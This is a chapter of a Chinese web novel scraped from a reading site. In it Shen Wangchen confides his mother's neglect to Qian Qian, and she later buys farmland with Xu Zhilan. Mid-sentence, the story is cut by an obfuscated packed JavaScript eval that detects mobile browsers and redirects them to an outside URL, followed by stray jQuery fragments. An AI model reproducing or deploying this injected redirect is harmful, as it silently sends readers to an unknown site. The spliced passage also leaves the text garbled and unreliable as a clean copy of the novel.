默认冷灰
24号文字
方正启体

96. 无视

作者:弃岸本书字数:K更新时间:
    钱浅心情不免沉闷。


    人与人的痛苦不尽相同,也毫不相通,却为何都同样难以忍受?


    沈望尘见她神色不逾,说:“你在可怜我?”


    钱浅摇摇头:“我哪有资格可怜别人。”


    “嗯?”沈望尘没听明白。


    钱浅不愿提起自己那无法与人言说的过往,便说:“我只是一天之内听了两个不幸的人生,心情不大好。”


    “两个?”


    “嗯。”


    在这样的故事下,钱浅不知不觉就卸下了防御机制。


    她也换了个舒服的姿势,靠在床里的墙壁上,抱着抱枕轻声解释说:“今天吃晚饭的时候,夏夏说起了裕王。说他从小就被生母当做争宠的工具,受尽虐待,以至于性格阴郁,备受皇帝后妃们嫌恶,连亲兄弟姐妹都不愿与他来往。”


    沈望尘却苦笑道:“我倒希望我母亲也可以打我、骂我,最好肆意虐待我。”


    钱浅吃惊地望着他,这是什么受虐体质?却听他又说:“或许这样,我就可以恨她了。”


    沈望尘继续道:“可她偏偏什么都不对我说,也什么都不对我做。”


    “她只是,无视我……”


    那最后三个字带了一点颤意,似是极尽压抑的委屈,就快要掩藏不住了。


    对于一个人事不知的孩子使用冷暴力实在太没人性了,精神暴力并不比身体暴力好多少。钱浅深感同情,又说不出什么有力量的话去安慰他,碍于男女有别也无法送上个拥抱,只能沉默。


    沉默良久,沈望尘平复好了情绪。


    “我小时候被人嘲笑时也曾想过,母亲终究会把对那个人的恨转嫁到我身上,报复我解恨。然而她并没有。她只是给我取名沈望尘,想要忘记与那个人的前尘往事,就再无其他了。”


    钱浅闻言微微歪头,努力思索,继续听他说。


    “她常年在外寻仙问道,我一年到头也见不到她几天。好不容易盼着她回来,呵,她也只当我不存在。”


    “我想,她大概就是不想看见我,才会常年出走的吧!”


    钱浅蹙眉,觉得这逻辑有些说不通,忍不住问:“宁亲王应该是识字的吧?”


    沈望尘不知她没头没脑的问话是何意,只是莫名其妙看向她,没有做声。


    钱浅又问:“你名字的含义,是宁亲王亲口告诉你的么?”


    沈望尘说:“她根本不愿与我说话,又怎会同我说这些?”


    “那就是你自己猜的咯?”


    钱浅斟酌片刻说:“我觉得,你也许猜错了。你名字里的望,是希望、盼望的望,而不是忘记的忘。回头却望尘凡处,应记尘凡有故人。这明明是,不想忘记的意思啊?”


    沈望尘怔住,良久才难以置信地问:“你说的,是真的?”


    钱浅道:“这两个字含义大相径庭,宁亲王既堪为储君,应当不会写错字吧?”


    “回头却望尘凡处,应记尘凡有故人。”


    沈望尘喃喃重复了一遍,不禁又问:“那她为何不愿见我,还当我不存在?”


    钱浅摇摇头:“我并不清楚你母亲与那个人之间发生的事。但很多时候,人与人之间的情感很难用爱或恨这样单一的字眼就能表达清楚。若是纯粹的恨,你根本就不会降生在这世上。”


    “她或许是恨的,又或许不止有恨,而是爱恨交织,所以才很难面对你。”钱浅望着他,认真地说:“我想,她大概并不比你好过。”


    沈望尘一直以来的认知在此刻被彻底打乱,思绪混乱到完全无法理清。


    钱浅本就是猜测,也没再多说什么去干扰他的思绪,安静地等他自己捋清。


    只是她早就困了,又跟他耗了这许久,枯坐了一会儿眼就睁不开了。


    “我一直在想,是我欠她的。”


    沈望尘静默良久突然出声,“我付出了很多努力,想向她证明,她生我没有错。我终究能证明她的优秀,让朝臣和所有人看到,当初草率的否决她,是个极其错误的决定。”


    钱浅强撑着打架的眼皮说:“这怎会是你的错呢?每个人都该为自己的决定负责。选择把你生下来是她的决定,你又无法选择是否要来到这个世间。他们之间的恩怨是他们自己的事,你没必要去背负。”


    她闭上眼睛,喃喃道:“韶华白首,不过浮生一阙。这山长水远的人世间,终究是要靠自己走下去的。”


    “可我已经背负很久了。”沈望尘垂下眸子,遮住眼底的黯淡,“我这样的出身,总是要比旁人更难的。咱们这位陛下,当初那样算计我母亲,面对我总归是心虚的。我放浪形骸,不学无术这么多年,总算让他稍稍放下一点戒心。我才能借着与宥川交好,得到这次机会。”


    钱浅撑开眼睛问:“那些吐蕃人,是你找来的?”


    “不是。”沈望尘否认道,“我只是趁着鹬蚌相争之机,为自己谋点利、铺铺路而已。”


    钱浅早就猜到了行宫惨案他并不无辜,所以此刻也不觉得意外。


    沈望尘见她不说话,憋不住问:“是否觉得我为一己私利,坐视那么多无辜之人惨死,十分可恨?”


    钱浅重新闭上眼睛,懒懒地说:“我这人信命。每个人的宿命都早已注定,该死在那场动乱的人无论如何也逃不过,不该死的,受再多波折和重伤也不会死,就像你我。人生而已,无需活得瞻前顾后,尽兴就好。”


    几句话熨平了沈望尘心里的褶皱。


    他无声的轻笑了下,喟叹道:“不愧是逍遥居士。那敢问逍遥居士的人生,想要如何尽兴?”


    “我不像你。”钱浅眼都没睁,语气淡漠寂寥,“我没有执念,生也不拘,死亦无谓。只盼今生不欠,来世不见,如此而已。”


    沈望尘目光中夹杂着深深的困惑,探究地看了她好一会。


    钱浅已经打起了瞌睡,毫无察觉。


    终于,他忍不住问出声:“你可有想过,往后的日子要怎样过?找个何等身份、何等品貌的夫婿?”


    钱浅没应声,似乎已经睡着了。


    沈望尘迫切想要知道答案,便伸手拍了她的肩膀一下:“问你话呢!”


    “啊?什么?”钱浅从瞌睡中惊醒。


    “我问你,将来想找个何等身份、何等品貌的夫婿?”


    钱浅嘴唇轻轻蠕动,声调里夹着薄薄的凄凉:“我没有将来。”


    沈望尘再度怔住,良久,也不知该说什么是好。


    他无奈地叹了口气,“你怎么总是这副颓丧的模样,真让人拿你没办法。”


    钱浅继


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012216|169516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    续瞌睡,半点反应也没有。


    沈望尘自顾自道:“我从前想过很多次,要找个怎样的妻。是热情似火,还是柔情似水;是聪明睿智,还是单纯可爱;是明艳张扬,还是沉静内敛。可我想来想去,都想不出个具体模样。”


    他看着她瞌睡的模样笑得温柔,目光里带着不易觉察的贪恋:“但最近,我觉得那个模样,变得越来越清晰了。你想知道,她是怎样的人么?”


    钱浅抱着靠枕睡得身子歪斜,沈望尘轻轻接住她的肩膀,托着她的头,小心将她放躺。


    她却突然努力给眼睛撑开一条缝,迷瞪道:“嗯,我在听呢。”


    “躺着听就好。”


    沈望尘带着从未露出过的暖笑,扶她躺在枕头上。


    钱浅舒服地咕哝一声,抱着靠枕,舒展开眉眼。


    沈望尘细细端详着她的睡颜,直到她的呼吸均匀而绵长,才用极低的声音说道:“她呀,是个很有趣的人。有时认真,有时荒谬;有时淡定,有时很疯;有时温柔,有时又很丧气,平静得像一潭死水,却又柔弱强大,能包容万事万物。”


    他将她额前的碎发拨弄到耳后,继续道:“她不知道,她目空一切、八风不动的样子有多迷人;她也不知,她直抒胸臆、毫不掩饰的洒脱,有多令人倾倒。你说,这样高冷清绝,独立于尘世之外的人,我该如何俘获?”


    沈望尘凝望着钱浅,狭长的丹凤眼里缱绻着无尽的迷恋。


    他俯过身去,在她的脸颊轻轻印上一吻,然后躺在了旁边,近在咫尺凝视着那恬静的睡颜,久久不舍得眨眼。


    皎洁的月色透过打开的窗户涌进来,倾泻一室流光。


    *


    烈阳霸道赶走盛春的柔和,天气转眼变得燥热。


    帝后、皇妃们照旧去皇家别苑避暑,淑妃特地召了姚菁菁同去,说山中无趣,她性子活络,陪伴左右好能解闷儿。


    钱浅明白淑妃的心思,很识时务地让出空间,再三坚持有事要忙无法同去,云王也没太勉强。


    徐芷兰以父亲身子不好要侍奉为由,也没跟昌王和正妃同去。


    钱浅没说谎,她是真的有事要忙。


    如今手中已有很可观的一笔银钱,早已托各处牙行寻觅着合适的良田了。正好趁着云王不在,把挑选出来的几处良田去实地看一看,把事敲定。


    徐芷兰得空来看钱浅,便陪着她一起看。


    京都的耕田也比青州翻上几番,但总归没有城中的宅子那么离谱。更令人惊喜的是,有个富户要举家迁走急需用钱,将手中的几十亩良田近乎半价出手,条件是必须直接付清钱款。


    那几十亩良田的位置、大小都非常合适,价格又如此划算,钱浅没想到自己还能有这种捡漏儿的运气,立即就把事情敲定了。


    有徐芷兰的王妃身份在,官府过户手续也顺畅无阻,牙行也不敢动歪心思,连中间费也给打了对折。


    绵绵如今有手艺,还有宅子、有产业,一生衣食无忧。


    钱浅无事一身轻,心情大好,为了感谢徐芷兰帮忙,亲自弹了几首前世熟悉的曲目。


    徐芷兰本就痴迷音律,家中还有琴行做产业。


    听完几曲当场惊为天籁,提出想与钱浅一同合开个乐坊,将这些天籁之音奏给世人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)